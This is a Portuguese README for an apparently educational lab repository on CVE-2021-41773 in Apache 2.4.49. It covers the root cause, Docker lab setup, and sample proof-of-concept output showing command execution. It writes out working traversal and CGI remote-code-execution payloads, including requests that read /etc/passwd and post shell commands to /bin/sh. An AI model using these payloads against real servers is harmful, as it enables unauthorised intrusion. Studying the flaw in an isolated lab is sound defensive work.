
Uma análise abrangente do CVE-2021-41773 (Apache HTTP Server 2.4.49), apresentando pesquisa de vulnerabilidades, exploração controlada em laboratório, desenvolvimento de Prova-de-Conceito, análise de causa raiz e estratégias de mitigação para fins educacionais e de segurança defensiva.
Projeto de pesquisa educacional. Todos os testes foram realizados em um laboratório Docker isolado. Não use contra nenhum sistema que você não possua.
| Campo | Detalhe |
|---|
| CVE ID | CVE-2021-41773 |
| Software Afetado | Apache HTTP Server 2.4.49 apenas |
| Tipo de Vulnerabilidade | Path Traversal → Remote Code Execution |
| Pontuação CVSS | 9.8 (Crítico) |
| Divulgado | Outubro de 2021 |
| Corrigido em | Apache 2.4.51 |
O Apache 2.4.49 falha ao normalizar corretamente sequências de caminho codificadas em URL (%2e%2e) antes de aplicar regras de controle de acesso. Isso permite que um atacante atravesse para fora da raiz da web. Quando CGI está habilitado, apontar a travessia para /bin/sh e fornecer comandos shell via corpo POST resulta em Execução Remota de Código não autenticada.
cve-2021-41773-poc/
├── Dockerfile # Container de laboratório Apache 2.4.49 intencionalmente vulnerável
├── exploit.py # PoC em Python — usa sockets brutos para preservar a codificação %2e
├── SETUP.md # Guia passo a passo de configuração do laboratório
├── README.md # Este arquivo
└── report.pdf # Relatório completo de desenvolvimento do exploit
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
Veja SETUP.md para instruções completas de configuração e solução de problemas.
A biblioteca requests normaliza %2e → . antes de enviar, o que quebra o exploit (retorna 400). Este PoC usa sockets brutos para enviar a requisição HTTP byte por byte, preservando a sequência de travessia codificada exatamente como o Apache 2.4.49 precisa recebê-la.
Payload de travessia:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Payload RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
O Apache falha ao decodificar %2e%2e antes das verificações de ACL, processa a requisição, a roteia através do CGI e executa o corpo POST como um comando shell.
Require all granted em /Abdur Rehman Siddiqui
Desenvolvimento de Exploit — Tarefa 3
Este repositório é para fins educacionais apenas. O autor não se responsabiliza pelo uso indevido deste material.